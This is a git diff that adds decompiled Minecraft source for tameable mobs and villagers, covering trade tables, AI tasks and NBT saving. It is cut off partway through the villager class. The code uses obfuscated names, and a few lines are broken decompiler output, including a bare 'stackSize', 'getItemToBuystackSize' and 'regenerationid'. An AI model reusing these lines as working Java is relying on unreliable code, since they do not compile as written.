+      else if ((field_179476_a.getRNG().nextInt(50) == 0) || (!field_179476_a.inWater) || (!field_179476_a.func_175567_n()))
+      {
+        float var2 = field_179476_a.getRNG().nextFloat() * 3.1415927F * 2.0F;
+        float var3 = MathHelper.cos(var2) * 0.2F;
+        float var4 = -0.1F + field_179476_a.getRNG().nextFloat() * 0.2F;
+        float var5 = MathHelper.sin(var2) * 0.2F;
+        field_179476_a.func_175568_b(var3, var4, var5);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityTameable.java b/src/minecraft/net/minecraft/entity/passive/EntityTameable.java
new file mode 100644
index 0000000..bea4805
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityTameable.java
@@ -0,0 +1,253 @@
+package net.minecraft.entity.passive;
+
+import java.util.Random;
+import java.util.UUID;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IEntityOwnable;
+import net.minecraft.entity.ai.EntityAISit;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.server.management.PreYggdrasilConverter;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public abstract class EntityTameable extends EntityAnimal implements IEntityOwnable
+{
+  protected EntityAISit aiSit = new EntityAISit(this);
+  private static final String __OBFID = "CL_00001561";
+  
+  public EntityTameable(World worldIn)
+  {
+    super(worldIn);
+    func_175544_ck();
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, Byte.valueOf((byte)0));
+    dataWatcher.addObject(17, "");
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    
+    if (func_152113_b() == null)
+    {
+      tagCompound.setString("OwnerUUID", "");
+    }
+    else
+    {
+      tagCompound.setString("OwnerUUID", func_152113_b());
+    }
+    
+    tagCompound.setBoolean("Sitting", isSitting());
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    String var2 = "";
+    
+    if (tagCompund.hasKey("OwnerUUID", 8))
+    {
+      var2 = tagCompund.getString("OwnerUUID");
+    }
+    else
+    {
+      String var3 = tagCompund.getString("Owner");
+      var2 = PreYggdrasilConverter.func_152719_a(var3);
+    }
+    
+    if (var2.length() > 0)
+    {
+      func_152115_b(var2);
+      setTamed(true);
+    }
+    
+    aiSit.setSitting(tagCompund.getBoolean("Sitting"));
+    setSitting(tagCompund.getBoolean("Sitting"));
+  }
+  
+
+
+
+  protected void playTameEffect(boolean p_70908_1_)
+  {
+    EnumParticleTypes var2 = EnumParticleTypes.HEART;
+    
+    if (!p_70908_1_)
+    {
+      var2 = EnumParticleTypes.SMOKE_NORMAL;
+    }
+    
+    for (int var3 = 0; var3 < 7; var3++)
+    {
+      double var4 = rand.nextGaussian() * 0.02D;
+      double var6 = rand.nextGaussian() * 0.02D;
+      double var8 = rand.nextGaussian() * 0.02D;
+      worldObj.spawnParticle(var2, posX + rand.nextFloat() * width * 2.0F - width, posY + 0.5D + rand.nextFloat() * height, posZ + rand.nextFloat() * width * 2.0F - width, var4, var6, var8, new int[0]);
+    }
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 7)
+    {
+      playTameEffect(true);
+    }
+    else if (p_70103_1_ == 6)
+    {
+      playTameEffect(false);
+    }
+    else
+    {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+  public boolean isTamed()
+  {
+    return (dataWatcher.getWatchableObjectByte(16) & 0x4) != 0;
+  }
+  
+  public void setTamed(boolean p_70903_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(16);
+    
+    if (p_70903_1_)
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 | 0x4)));
+    }
+    else
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 & 0xFFFFFFFB)));
+    }
+    
+    func_175544_ck();
+  }
+  
+  protected void func_175544_ck() {}
+  
+  public boolean isSitting()
+  {
+    return (dataWatcher.getWatchableObjectByte(16) & 0x1) != 0;
+  }
+  
+  public void setSitting(boolean p_70904_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(16);
+    
+    if (p_70904_1_)
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 | 0x1)));
+    }
+    else
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 & 0xFFFFFFFE)));
+    }
+  }
+  
+  public String func_152113_b()
+  {
+    return dataWatcher.getWatchableObjectString(17);
+  }
+  
+  public void func_152115_b(String p_152115_1_)
+  {
+    dataWatcher.updateObject(17, p_152115_1_);
+  }
+  
+  public EntityLivingBase func_180492_cm()
+  {
+    try
+    {
+      UUID var1 = UUID.fromString(func_152113_b());
+      return var1 == null ? null : worldObj.getPlayerEntityByUUID(var1);
+    }
+    catch (IllegalArgumentException var2) {}
+    
+    return null;
+  }
+  
+
+  public boolean func_152114_e(EntityLivingBase p_152114_1_)
+  {
+    return p_152114_1_ == func_180492_cm();
+  }
+  
+
+
+
+  public EntityAISit getAISit()
+  {
+    return aiSit;
+  }
+  
+  public boolean func_142018_a(EntityLivingBase p_142018_1_, EntityLivingBase p_142018_2_)
+  {
+    return true;
+  }
+  
+  public net.minecraft.scoreboard.Team getTeam()
+  {
+    if (isTamed())
+    {
+      EntityLivingBase var1 = func_180492_cm();
+      
+      if (var1 != null)
+      {
+        return var1.getTeam();
+      }
+    }
+    
+    return super.getTeam();
+  }
+  
+  public boolean isOnSameTeam(EntityLivingBase p_142014_1_)
+  {
+    if (isTamed())
+    {
+      EntityLivingBase var2 = func_180492_cm();
+      
+      if (p_142014_1_ == var2)
+      {
+        return true;
+      }
+      
+      if (var2 != null)
+      {
+        return var2.isOnSameTeam(p_142014_1_);
+      }
+    }
+    
+    return super.isOnSameTeam(p_142014_1_);
+  }
+  
+
+
+
+  public void onDeath(DamageSource cause)
+  {
+    if ((!worldObj.isRemote) && (worldObj.getGameRules().getGameRuleBooleanValue("showDeathMessages")) && (hasCustomName()) && ((func_180492_cm() instanceof EntityPlayerMP)))
+    {
+      ((EntityPlayerMP)func_180492_cm()).addChatMessage(getCombatTracker().func_151521_b());
+    }
+    
+    super.onDeath(cause);
+  }
+  
+  public net.minecraft.entity.Entity getOwner()
+  {
+    return func_180492_cm();
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityVillager.java b/src/minecraft/net/minecraft/entity/passive/EntityVillager.java
new file mode 100644
index 0000000..c3be103
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityVillager.java
@@ -0,0 +1,1071 @@
+package net.minecraft.entity.passive;
+
+import com.google.common.base.Predicate;
+import java.util.Iterator;
+import java.util.Random;
+import java.util.UUID;
+import net.minecraft.enchantment.Enchantment;
+import net.minecraft.enchantment.EnchantmentData;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityAgeable;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IEntityLivingData;
+import net.minecraft.entity.IMerchant;
+import net.minecraft.entity.INpc;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIAvoidEntity;
+import net.minecraft.entity.ai.EntityAIFollowGolem;
+import net.minecraft.entity.ai.EntityAIHarvestFarmland;
+import net.minecraft.entity.ai.EntityAILookAtTradePlayer;
+import net.minecraft.entity.ai.EntityAIMoveIndoors;
+import net.minecraft.entity.ai.EntityAIMoveTowardsRestriction;
+import net.minecraft.entity.ai.EntityAIOpenDoor;
+import net.minecraft.entity.ai.EntityAIPlay;
+import net.minecraft.entity.ai.EntityAIRestrictOpenDoor;
+import net.minecraft.entity.ai.EntityAISwimming;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAITradePlayer;
+import net.minecraft.entity.ai.EntityAIVillagerInteract;
+import net.minecraft.entity.ai.EntityAIVillagerMate;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.EntityAIWatchClosest2;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.effect.EntityLightningBolt;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.item.EntityXPOrb;
+import net.minecraft.entity.monster.EntityWitch;
+import net.minecraft.entity.monster.EntityZombie;
+import net.minecraft.entity.monster.IMob;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.InventoryBasic;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemEnchantedBook;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.stats.StatList;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Tuple;
+import net.minecraft.village.MerchantRecipe;
+import net.minecraft.village.MerchantRecipeList;
+import net.minecraft.village.Village;
+import net.minecraft.village.VillageCollection;
+import net.minecraft.world.DifficultyInstance;
+import net.minecraft.world.World;
+
+public class EntityVillager extends EntityAgeable implements INpc, IMerchant
+{
+  private int randomTickDivider;
+  private boolean isMating;
+  private boolean isPlaying;
+  Village villageObj;
+  private EntityPlayer buyingPlayer;
+  private MerchantRecipeList buyingList;
+  private int timeUntilReset;
+  private boolean needsInitilization;
+  private boolean field_175565_bs;
+  private int wealth;
+  private String lastBuyingPlayer;
+  private int field_175563_bv;
+  private int field_175562_bw;
+  private boolean isLookingForHome;
+  private boolean field_175564_by;
+  private InventoryBasic field_175560_bz;
+  private static final ITradeList[][][][] field_175561_bA = { { { { new EmeraldForItems(Items.wheat, new PriceInfo(18, 22)), new EmeraldForItems(Items.potato, new PriceInfo(15, 19)), new EmeraldForItems(Items.carrot, new PriceInfo(15, 19)), new ListItemForEmeralds(Items.bread, new PriceInfo(-4, -2)) }, { new EmeraldForItems(Item.getItemFromBlock(Blocks.pumpkin), new PriceInfo(8, 13)), new ListItemForEmeralds(Items.pumpkin_pie, new PriceInfo(-3, -2)) }, { new EmeraldForItems(Item.getItemFromBlock(Blocks.melon_block), new PriceInfo(7, 12)), new ListItemForEmeralds(Items.apple, new PriceInfo(-5, -7)) }, { new ListItemForEmeralds(Items.cookie, new PriceInfo(-6, -10)), new ListItemForEmeralds(Items.cake, new PriceInfo(1, 1)) } }, { { new EmeraldForItems(Items.string, new PriceInfo(15, 20)), new EmeraldForItems(Items.coal, new PriceInfo(16, 24)), new ItemAndEmeraldToItem(Items.fish, new PriceInfo(6, 6), Items.cooked_fish, new PriceInfo(6, 6)) }, { new ListEnchantedItemForEmeralds(Items.fishing_rod, new PriceInfo(7, 8)) } }, { { new EmeraldForItems(Item.getItemFromBlock(Blocks.wool), new PriceInfo(16, 22)), new ListItemForEmeralds(Items.shears, new PriceInfo(3, 4)) }, { new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 0), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 1), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 2), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 3), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 4), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 5), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 6), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 7), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 8), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 9), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 10), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 11), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 12), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 13), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 14), new PriceInfo(1, 2)), new ListItemForEmeralds(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 15), new PriceInfo(1, 2)) } }, { { new EmeraldForItems(Items.string, new PriceInfo(15, 20)), new ListItemForEmeralds(Items.arrow, new PriceInfo(-12, -8)) }, { new ListItemForEmeralds(Items.bow, new PriceInfo(2, 3)), new ItemAndEmeraldToItem(Item.getItemFromBlock(Blocks.gravel), new PriceInfo(10, 10), Items.flint, new PriceInfo(6, 10)) } } }, { { { new EmeraldForItems(Items.paper, new PriceInfo(24, 36)), new ListEnchantedBookForEmeralds() }, { new EmeraldForItems(Items.book, new PriceInfo(8, 10)), new ListItemForEmeralds(Items.compass, new PriceInfo(10, 12)), new ListItemForEmeralds(Item.getItemFromBlock(Blocks.bookshelf), new PriceInfo(3, 4)) }, { new EmeraldForItems(Items.written_book, new PriceInfo(2, 2)), new ListItemForEmeralds(Items.clock, new PriceInfo(10, 12)), new ListItemForEmeralds(Item.getItemFromBlock(Blocks.glass), new PriceInfo(-5, -3)) }, { new ListEnchantedBookForEmeralds() }, { new ListEnchantedBookForEmeralds() }, { new ListItemForEmeralds(Items.name_tag, new PriceInfo(20, 22)) } } }, { { { new EmeraldForItems(Items.rotten_flesh, new PriceInfo(36, 40)), new EmeraldForItems(Items.gold_ingot, new PriceInfo(8, 10)) }, { new ListItemForEmeralds(Items.redstone, new PriceInfo(-4, -1)), new ListItemForEmeralds(new ItemStack(Items.dye, 1, EnumDyeColor.BLUE.getDyeColorDamage()), new PriceInfo(-2, -1)) }, { new ListItemForEmeralds(Items.ender_eye, new PriceInfo(7, 11)), new ListItemForEmeralds(Item.getItemFromBlock(Blocks.glowstone), new PriceInfo(-3, -1)) }, { new ListItemForEmeralds(Items.experience_bottle, new PriceInfo(3, 11)) } } }, { { { new EmeraldForItems(Items.coal, new PriceInfo(16, 24)), new ListItemForEmeralds(Items.iron_helmet, new PriceInfo(4, 6)) }, { new EmeraldForItems(Items.iron_ingot, new PriceInfo(7, 9)), new ListItemForEmeralds(Items.iron_chestplate, new PriceInfo(10, 14)) }, { new EmeraldForItems(Items.diamond, new PriceInfo(3, 4)), new ListEnchantedItemForEmeralds(Items.diamond_chestplate, new PriceInfo(16, 19)) }, { new ListItemForEmeralds(Items.chainmail_boots, new PriceInfo(5, 7)), new ListItemForEmeralds(Items.chainmail_leggings, new PriceInfo(9, 11)), new ListItemForEmeralds(Items.chainmail_helmet, new PriceInfo(5, 7)), new ListItemForEmeralds(Items.chainmail_chestplate, new PriceInfo(11, 15)) } }, { { new EmeraldForItems(Items.coal, new PriceInfo(16, 24)), new ListItemForEmeralds(Items.iron_axe, new PriceInfo(6, 8)) }, { new EmeraldForItems(Items.iron_ingot, new PriceInfo(7, 9)), new ListEnchantedItemForEmeralds(Items.iron_sword, new PriceInfo(9, 10)) }, { new EmeraldForItems(Items.diamond, new PriceInfo(3, 4)), new ListEnchantedItemForEmeralds(Items.diamond_sword, new PriceInfo(12, 15)), new ListEnchantedItemForEmeralds(Items.diamond_axe, new PriceInfo(9, 12)) } }, { { new EmeraldForItems(Items.coal, new PriceInfo(16, 24)), new ListEnchantedItemForEmeralds(Items.iron_shovel, new PriceInfo(5, 7)) }, { new EmeraldForItems(Items.iron_ingot, new PriceInfo(7, 9)), new ListEnchantedItemForEmeralds(Items.iron_pickaxe, new PriceInfo(9, 11)) }, { new EmeraldForItems(Items.diamond, new PriceInfo(3, 4)), new ListEnchantedItemForEmeralds(Items.diamond_pickaxe, new PriceInfo(12, 15)) } } }, { { { new EmeraldForItems(Items.porkchop, new PriceInfo(14, 18)), new EmeraldForItems(Items.chicken, new PriceInfo(14, 18)) }, { new EmeraldForItems(Items.coal, new PriceInfo(16, 24)), new ListItemForEmeralds(Items.cooked_porkchop, new PriceInfo(-7, -5)), new ListItemForEmeralds(Items.cooked_chicken, new PriceInfo(-8, -6)) } }, { { new EmeraldForItems(Items.leather, new PriceInfo(9, 12)), new ListItemForEmeralds(Items.leather_leggings, new PriceInfo(2, 4)) }, { new ListEnchantedItemForEmeralds(Items.leather_chestplate, new PriceInfo(7, 12)) }, { new ListItemForEmeralds(Items.saddle, new PriceInfo(8, 10)) } } } };
+  private static final String __OBFID = "CL_00001707";
+  
+  public EntityVillager(World worldIn)
+  {
+    this(worldIn, 0);
+  }
+  
+  public EntityVillager(World worldIn, int p_i1748_2_)
+  {
+    super(worldIn);
+    field_175560_bz = new InventoryBasic("Items", false, 8);
+    setProfession(p_i1748_2_);
+    setSize(0.6F, 1.8F);
+    ((PathNavigateGround)getNavigator()).func_179688_b(true);
+    ((PathNavigateGround)getNavigator()).func_179690_a(true);
+    tasks.addTask(0, new EntityAISwimming(this));
+    tasks.addTask(1, new EntityAIAvoidEntity(this, new Predicate()
+    {
+      private static final String __OBFID = "CL_00002195";
+      
+      public boolean func_179530_a(Entity p_179530_1_) {
+        return p_179530_1_ instanceof EntityZombie;
+      }
+      
+      public boolean apply(Object p_apply_1_) {
+        return func_179530_a((Entity)p_apply_1_);
+      }
+    }, 8.0F, 0.6D, 0.6D));
+    tasks.addTask(1, new EntityAITradePlayer(this));
+    tasks.addTask(1, new EntityAILookAtTradePlayer(this));
+    tasks.addTask(2, new EntityAIMoveIndoors(this));
+    tasks.addTask(3, new EntityAIRestrictOpenDoor(this));
+    tasks.addTask(4, new EntityAIOpenDoor(this, true));
+    tasks.addTask(5, new EntityAIMoveTowardsRestriction(this, 0.6D));
+    tasks.addTask(6, new EntityAIVillagerMate(this));
+    tasks.addTask(7, new EntityAIFollowGolem(this));
+    tasks.addTask(9, new EntityAIWatchClosest2(this, EntityPlayer.class, 3.0F, 1.0F));
+    tasks.addTask(9, new EntityAIVillagerInteract(this));
+    tasks.addTask(9, new EntityAIWander(this, 0.6D));
+    tasks.addTask(10, new EntityAIWatchClosest(this, EntityLiving.class, 8.0F));
+    setCanPickUpLoot(true);
+  }
+  
+  private void func_175552_ct()
+  {
+    if (!field_175564_by)
+    {
+      field_175564_by = true;
+      
+      if (isChild())
+      {
+        tasks.addTask(8, new EntityAIPlay(this, 0.32D));
+      }
+      else if (getProfession() == 0)
+      {
+        tasks.addTask(6, new EntityAIHarvestFarmland(this, 0.6D));
+      }
+    }
+  }
+  
+  protected void func_175500_n()
+  {
+    if (getProfession() == 0)
+    {
+      tasks.addTask(8, new EntityAIHarvestFarmland(this, 0.6D));
+    }
+    
+    super.func_175500_n();
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.5D);
+  }
+  
+  protected void updateAITasks()
+  {
+    if (--randomTickDivider <= 0)
+    {
+      BlockPos var1 = new BlockPos(this);
+      worldObj.getVillageCollection().func_176060_a(var1);
+      randomTickDivider = (70 + rand.nextInt(50));
+      villageObj = worldObj.getVillageCollection().func_176056_a(var1, 32);
+      
+      if (villageObj == null)
+      {
+        detachHome();
+      }
+      else
+      {
+        BlockPos var2 = villageObj.func_180608_a();
+        func_175449_a(var2, (int)(villageObj.getVillageRadius() * 1.0F));
+        
+        if (isLookingForHome)
+        {
+          isLookingForHome = false;
+          villageObj.setDefaultPlayerReputation(5);
+        }
+      }
+    }
+    
+    if ((!isTrading()) && (timeUntilReset > 0))
+    {
+      timeUntilReset -= 1;
+      
+      if (timeUntilReset <= 0)
+      {
+        if (needsInitilization)
+        {
+          Iterator var3 = buyingList.iterator();
+          
+          while (var3.hasNext())
+          {
+            MerchantRecipe var4 = (MerchantRecipe)var3.next();
+            
+            if (var4.isRecipeDisabled())
+            {
+              var4.func_82783_a(rand.nextInt(6) + rand.nextInt(6) + 2);
+            }
+          }
+          
+          func_175554_cu();
+          needsInitilization = false;
+          
+          if ((villageObj != null) && (lastBuyingPlayer != null))
+          {
+            worldObj.setEntityState(this, (byte)14);
+            villageObj.setReputationForPlayer(lastBuyingPlayer, 1);
+          }
+        }
+        
+        addPotionEffect(new PotionEffect(regenerationid, 200, 0));
+      }
+    }
+    
+    super.updateAITasks();
+  }
+  
+
+
+
+  public boolean interact(EntityPlayer p_70085_1_)
+  {
+    ItemStack var2 = inventory.getCurrentItem();
+    boolean var3 = (var2 != null) && (var2.getItem() == Items.spawn_egg);
+    
+    if ((!var3) && (isEntityAlive()) && (!isTrading()) && (!isChild()))
+    {
+      if ((!worldObj.isRemote) && ((buyingList == null) || (buyingList.size() > 0)))
+      {
+        setCustomer(p_70085_1_);
+        p_70085_1_.displayVillagerTradeGui(this);
+      }
+      
+      p_70085_1_.triggerAchievement(StatList.timesTalkedToVillagerStat);
+      return true;
+    }
+    
+
+    return super.interact(p_70085_1_);
+  }
+  
+
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, Integer.valueOf(0));
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setInteger("Profession", getProfession());
+    tagCompound.setInteger("Riches", wealth);
+    tagCompound.setInteger("Career", field_175563_bv);
+    tagCompound.setInteger("CareerLevel", field_175562_bw);
+    tagCompound.setBoolean("Willing", field_175565_bs);
+    
+    if (buyingList != null)
+    {
+      tagCompound.setTag("Offers", buyingList.getRecipiesAsTags());
+    }
+    
+    NBTTagList var2 = new NBTTagList();
+    
+    for (int var3 = 0; var3 < field_175560_bz.getSizeInventory(); var3++)
+    {
+      ItemStack var4 = field_175560_bz.getStackInSlot(var3);
+      
+      if (var4 != null)
+      {
+        var2.appendTag(var4.writeToNBT(new NBTTagCompound()));
+      }
+    }
+    
+    tagCompound.setTag("Inventory", var2);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    setProfession(tagCompund.getInteger("Profession"));
+    wealth = tagCompund.getInteger("Riches");
+    field_175563_bv = tagCompund.getInteger("Career");
+    field_175562_bw = tagCompund.getInteger("CareerLevel");
+    field_175565_bs = tagCompund.getBoolean("Willing");
+    
+    if (tagCompund.hasKey("Offers", 10))
+    {
+      NBTTagCompound var2 = tagCompund.getCompoundTag("Offers");
+      buyingList = new MerchantRecipeList(var2);
+    }
+    
+    NBTTagList var5 = tagCompund.getTagList("Inventory", 10);
+    
+    for (int var3 = 0; var3 < var5.tagCount(); var3++)
+    {
+      ItemStack var4 = ItemStack.loadItemStackFromNBT(var5.getCompoundTagAt(var3));
+      
+      if (var4 != null)
+      {
+        field_175560_bz.func_174894_a(var4);
+      }
+    }
+    
+    setCanPickUpLoot(true);
+    func_175552_ct();
+  }
+  
+
+
+
+  protected boolean canDespawn()
+  {
+    return false;
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return isTrading() ? "mob.villager.haggle" : "mob.villager.idle";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.villager.hit";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.villager.death";
+  }
+  
+  public void setProfession(int p_70938_1_)
+  {
+    dataWatcher.updateObject(16, Integer.valueOf(p_70938_1_));
+  }
+  
+  public int getProfession()
+  {
+    return Math.max(dataWatcher.getWatchableObjectInt(16) % 5, 0);
+  }
+  
+  public boolean isMating()
+  {
+    return isMating;
+  }
+  
+  public void setMating(boolean p_70947_1_)
+  {
+    isMating = p_70947_1_;
+  }
+  
+  public void setPlaying(boolean p_70939_1_)
+  {
+    isPlaying = p_70939_1_;
+  }
+  
+  public boolean isPlaying()
+  {
+    return isPlaying;
+  }
+  
+  public void setRevengeTarget(EntityLivingBase p_70604_1_)
+  {
+    super.setRevengeTarget(p_70604_1_);
+    
+    if ((villageObj != null) && (p_70604_1_ != null))
+    {
+      villageObj.addOrRenewAgressor(p_70604_1_);
+      
+      if ((p_70604_1_ instanceof EntityPlayer))
+      {
+        byte var2 = -1;
+        
+        if (isChild())
+        {
+          var2 = -3;
+        }
+        
+        villageObj.setReputationForPlayer(p_70604_1_.getName(), var2);
+        
+        if (isEntityAlive())
+        {
+          worldObj.setEntityState(this, (byte)13);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void onDeath(DamageSource cause)
+  {
+    if (villageObj != null)
+    {
+      Entity var2 = cause.getEntity();
+      
+      if (var2 != null)
+      {
+        if ((var2 instanceof EntityPlayer))
+        {
+          villageObj.setReputationForPlayer(var2.getName(), -2);
+        }
+        else if ((var2 instanceof IMob))
+        {
+          villageObj.endMatingSeason();
+        }
+      }
+      else
+      {
+        EntityPlayer var3 = worldObj.getClosestPlayerToEntity(this, 16.0D);
+        
+        if (var3 != null)
+        {
+          villageObj.endMatingSeason();
+        }
+      }
+    }
+    
+    super.onDeath(cause);
+  }
+  
+  public void setCustomer(EntityPlayer p_70932_1_)
+  {
+    buyingPlayer = p_70932_1_;
+  }
+  
+  public EntityPlayer getCustomer()
+  {
+    return buyingPlayer;
+  }
+  
+  public boolean isTrading()
+  {
+    return buyingPlayer != null;
+  }
+  
+  public boolean func_175550_n(boolean p_175550_1_)
+  {
+    if ((!field_175565_bs) && (p_175550_1_) && (func_175553_cp()))
+    {
+      boolean var2 = false;
+      
+      for (int var3 = 0; var3 < field_175560_bz.getSizeInventory(); var3++)
+      {
+        ItemStack var4 = field_175560_bz.getStackInSlot(var3);
+        
+        if (var4 != null)
+        {
+          if ((var4.getItem() == Items.bread) && (stackSize >= 3))
+          {
+            var2 = true;
+            field_175560_bz.decrStackSize(var3, 3);
+          }
+          else if (((var4.getItem() == Items.potato) || (var4.getItem() == Items.carrot)) && (stackSize >= 12))
+          {
+            var2 = true;
+            field_175560_bz.decrStackSize(var3, 12);
+          }
+        }
+        
+        if (var2)
+        {
+          worldObj.setEntityState(this, (byte)18);
+          field_175565_bs = true;
+          break;
+        }
+      }
+    }
+    
+    return field_175565_bs;
+  }
+  
+  public void func_175549_o(boolean p_175549_1_)
+  {
+    field_175565_bs = p_175549_1_;
+  }
+  
+  public void useRecipe(MerchantRecipe p_70933_1_)
+  {
+    p_70933_1_.incrementToolUses();
+    livingSoundTime = (-getTalkInterval());
+    playSound("mob.villager.yes", getSoundVolume(), getSoundPitch());
+    int var2 = 3 + rand.nextInt(4);
+    
+    if ((p_70933_1_.func_180321_e() == 1) || (rand.nextInt(5) == 0))
+    {
+      timeUntilReset = 40;
+      needsInitilization = true;
+      field_175565_bs = true;
+      
+      if (buyingPlayer != null)
+      {
+        lastBuyingPlayer = buyingPlayer.getName();
+      }
+      else
+      {
+        lastBuyingPlayer = null;
+      }
+      
+      var2 += 5;
+    }
+    
+    if (p_70933_1_.getItemToBuy().getItem() == Items.emerald)
+    {
+      wealth += getItemToBuystackSize;
+    }
+    
+    if (p_70933_1_.func_180322_j())
+    {
+      worldObj.spawnEntityInWorld(new EntityXPOrb(worldObj, posX, posY + 0.5D, posZ, var2));
+    }
+  }
+  
+
+
+
+
+  public void verifySellingItem(ItemStack p_110297_1_)
+  {
+    if ((!worldObj.isRemote) && (livingSoundTime > -getTalkInterval() + 20))
+    {
+      livingSoundTime = (-getTalkInterval());
+      
+      if (p_110297_1_ != null)
+      {
+        playSound("mob.villager.yes", getSoundVolume(), getSoundPitch());
+      }
+      else
+      {
+        playSound("mob.villager.no", getSoundVolume(), getSoundPitch());
+      }
+    }
+  }
+  
+  public MerchantRecipeList getRecipes(EntityPlayer p_70934_1_)
+  {
+    if (buyingList == null)
+    {
+      func_175554_cu();
+    }
+    
+    return buyingList;
+  }
+  
+  private void func_175554_cu()
+  {
+    ITradeList[][][] var1 = field_175561_bA[getProfession()];
+    
+    if ((field_175563_bv != 0) && (field_175562_bw != 0))
+    {
+      field_175562_bw += 1;
+    }
+    else
+    {
+      field_175563_bv = (rand.nextInt(var1.length) + 1);
+      field_175562_bw = 1;
+    }
+    
+    if (buyingList == null)
+    {
+      buyingList = new MerchantRecipeList();
+    }
+    
+    int var2 = field_175563_bv - 1;
+    int var3 = field_175562_bw - 1;
+    ITradeList[][] var4 = var1[var2];
+    
+    if (var3 < var4.length)
+    {
+      ITradeList[] var5 = var4[var3];
+      ITradeList[] var6 = var5;
+      int var7 = var5.length;
+      
+      for (int var8 = 0; var8 < var7; var8++)
+      {
+        ITradeList var9 = var6[var8];
+        var9.func_179401_a(buyingList, rand);
+      }
+    }
+  }
+  
+  public void setRecipes(MerchantRecipeList p_70930_1_) {}
+  
